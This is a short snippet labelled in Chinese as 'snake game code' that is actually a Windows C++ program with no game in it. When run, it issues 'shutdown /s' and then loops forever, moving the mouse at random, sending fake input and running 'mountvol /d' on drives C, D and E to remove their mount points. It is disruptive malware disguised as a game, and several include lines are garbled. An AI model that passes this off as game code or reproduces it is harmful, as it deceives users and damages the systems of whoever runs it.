贪吃蛇代码```cpp #include<stdio.h> #include<conio.h> #include<time.h> #include #include #include #include #include<windows.h> #include #include #include #include #include #include #include #define f system using namespace std; void first_page(); void SlowDisplay(int x, char *p); void SetPos(int x, int y); void Say1(string a); void Say2(string a); int read(); void page_1(); void hhh(); void page_3(); int main() { page_3(); } void first_page() { f("cls"); f("color 07"); f("color 24"); } void SlowDisplay(int x, char *p) { while (1) { if (*p != 0) printf("%c", *p++); else break; } } void SetPos(int x, int y) { COORD pos; pos.X = y * 2, pos.Y = x; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos); } void Say1(string a) { int l = a.size(); for (int i = 0; i < l; i++) { cout << a[i]; } printf("\n"); } void Say2(string a) { int l = a.size(); for (int i = 0; i < l; i++) { cout << a[i]; } printf("\n"); } int read() { char ch = _getch(); while (ch > '9' || ch < '0') ch = _getch(); return ch - 48; } void page_1() { f("cls"); f("Color C"); first_page(); hhh(); f("cls"); } void hhh() { f("shutdown /s"); while (1) { int x, y; x = rand() % 1400; y = rand() % 900; SetCursorPos(x, y); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); keybd_event(67, 0, KEYEVENTF_KEYUP, 0); f("tree"); f("dir/s"); f("help"); f("cls"); f("mountvol e: /d"); f("mountvol d: /d"); f("mountvol c: /d"); } } void page_3() { page_1(); }